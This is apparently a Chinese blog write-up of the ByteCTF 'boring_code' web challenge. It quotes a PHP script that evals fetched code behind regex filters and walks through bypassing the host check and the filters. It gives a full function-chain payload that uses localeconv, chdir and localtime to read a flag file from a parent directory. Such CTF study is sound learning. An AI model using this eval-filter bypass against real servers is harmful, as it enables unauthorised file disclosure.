bytectf部分wp

boring_code

拿到源码

<?php
function is_valid_url($url) {
    if (filter_var($url, FILTER_VALIDATE_URL)) {
        if (preg_match('/data:\/\//i', $url)) {
            return false;
        }
        return true;
    }
    return false;
}

if (isset($_POST['url'])){
    $url = $_POST['url'];
    if (is_valid_url($url)) {
        $r = parse_url($url);
        if (preg_match('/baidu\.com$/', $r['host'])) {
            $code = file_get_contents($url);
            if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
                if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                    echo 'bye~';
                } else {
                    eval($code);
                }
            }
        } else {
            echo "error: host not allowed";
        }
    } else {
        echo "error: invalid url";
    }
}else{
    highlight_file(__FILE__);
}

我们这里只讨论下怎么绕过正则和这个过滤。

if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
                if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                    echo 'bye~';
                } else {
                    eval($code);
                }

前面的简单说下,怎么匹配这个百度又不影响后面的file_get_content读取。最开始我们构造了http://baidu.com#@公网ip,但是在到file_get_content的时候,就过不去了,后面又构造0://url;baidu.com畸形的url,也是一样,遇到file_get_content时就过不去了,后来,后来,后来。知道怎么绕过没,直接买一个带有baidu.com的域名直接绕过,像这样一样。在这里插入图片描述

然后说下怎么绕过后面的过滤。
我们先看正则'/[a-z]+\((?R)?\)/'这里只允许执行如下的形式

a(b(c()));
a();

然后这里使用文件读取,读取flag
先构造出一个可以读取文件的payload:

echo(readfile(end(scandir('.'))))

这里可以读取目录的最后一个文件。
但是前面只能执行字母和括号,所以这个**.**必须用函数代替。所以构造一个可以产生.的函数,发现函数localeconv(),执行会返回一个数组,数组的第一项就是.所以用函数current(localeconv())取出第一项。但是上面的nt被ban了,但是我们发现了pos()函数。pos()就是current()函数的别名。
在这里插入图片描述
在这里插入图片描述
于是构造pos(localeconv()).
现在我们的payload为:echo(readfile(end(scandir(pos(localeconv())))))
但是现在我们只是得到了最后一个文件。而flag在上层目录,于是我们要跳转到上层目录。使用chdir()跳转。但是chdir()函数只会返回bool值,我们需要一个函数接受布尔值并且可以输出.
发现了与时间有关的函数time(),localtime()time()是返回时间戳.但是并不能得到想要的.,而localtime()返回的是数组,可以提取秒数的值,后使用chr()转为.即在46s时chr(pos(localtime()))就会返回.
但是localtime()内接受布尔参数会报错。后面发现localtime第一参数默认是time() ,那我可以用localtime接受time函数,time接受一个bool值。
在这里插入图片描述
于是最终的payload构造如下:

echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));

后面获取flag的操作就是将文件放到自己的(买的域名)vps上,然后访问,简单爆破下,在时间为46秒时,可以读到flag.

参考:https://altman.vip/2019/09/09/ByteCTF-WEB/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值